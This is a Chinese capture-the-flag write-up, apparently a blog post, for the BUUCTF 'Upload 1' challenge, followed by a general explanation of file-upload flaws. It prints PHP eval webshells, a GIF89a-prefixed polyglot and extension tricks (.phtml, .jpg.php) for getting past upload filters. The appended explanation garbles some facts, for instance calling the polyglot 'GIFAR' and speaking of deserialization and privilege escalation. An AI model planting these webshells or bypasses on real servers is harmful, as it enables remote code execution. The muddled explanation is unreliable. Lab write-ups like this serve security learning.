BUUCTF——[极客大挑战 2019]Upload 1

本文详细描述了一种PHP文件上传的绕过方法,通过构造包含PHP代码的图片文件头来规避系统检测。作者首先尝试上传PHP后门,然后将其伪装成jpg格式,但被系统阻止。接着,通过在图片头添加PHP代码并避免使用`<?php`标签,成功创建了一个不被系统识别为PHP的文件。最终,该文件以.phtml后缀上传并执行,实现了远程连接。利用蚁剑工具,作者找到了隐藏的flag,并展示了出来。

1.打开后发现是文件上传题
构建一句话木马

<?php @eval($_POST['shy']);?>

将一句话木马改成jpg文件尝试上传。
抓包改成php
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
提示文件包含<?,那么我们有思路了,上传图片的时候还扫描了图片头,将一句话木马加图片头,并构建不包含<?>的一句话。

 GIF89a? 
 <script language="php">eval($_REQUEST[shell])</script>

在这里插入图片描述
抓包将jpg改为phtml后缀。
在这里插入图片描述
上传成功
在这里插入图片描述

用蚁剑连接
在这里插入图片描述
打开终端
在这里插入图片描述
使用cat命令查找flag
在这里插入图片描述

flag{d98de6c5-b03b-4f1b-bca6-7db9b2588f33}

### 关于 BUUCTF 极客挑战 2019Upload 1 题目分析 #### 背景介绍 BUUCTF 是一个知名的网络安全竞赛平台,其中的极客挑战系列题目涵盖了多种安全漏洞利用技巧。Upload 1 属于文件上传类题目,在这类题目中通常会涉及到服务器端对于上传文件类型的验证机制以及可能存在的绕过方法。 #### 文件上传漏洞原理 当 Web 应用程序允许用户上传文件时,如果对上传的内容缺乏严格的安全检查,则可能导致攻击者能够上传恶意脚本并执行任意代码。常见的防御措施包括但不限于 MIME 类型检测、扩展名过滤等[^1]。 #### 解题思路 针对此题目的具体实现方式可以归纳为以下几个方面: - **MIME 类型伪造** PHP 使用 `$_FILES` 数组来处理上传的数据,默认情况下仅依赖客户端提供的 Content-Type 头部信息判断文件类型。然而这些头部是可以被轻易篡改的。因此可以通过修改 HTTP 请求中的相应部分使服务端误认为所提交的是合法图片而非其他形式的可执行文件。 - **PHP 后门植入** 利用上述手段成功上传 .php 结尾或其他能被执行解释器解析运行的文件之后,便可以在该文件内嵌入一段用于远程控制目标主机的小段落,比如一句话木马: ```php <?php @eval($_POST['cmd']);?> ``` - **绕过白名单限制** 如果存在基于文件头特征码(magic number)或者图像尺寸小等方面更严格的校验逻辑的话,那么就需要寻找特定格式下既满足条件又隐藏有潜在威胁特性的样本作为载体;或者是探索是否有其它途径可以直接影响到最终保存路径从而规避掉这部分审核流程。 #### 实际操作案例展示 假设当前环境已经确认支持 GIF89a 开始标记并且不会因为后续附加内容而报错的情况下,我们可以构造这样一个混合体——即所谓的“GIFAR”(Gif+Jar) 攻击向量: ```gif GIF89a; <?php @eval($_POST['cmd']);?> ``` 将其命名为 `.jpg.php` 或类似的双后缀命名模式尝试突破单纯的字符串匹配规则限制,并通过浏览器访问触发反序列化过程完成提权动作获取 shell 访问权限。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值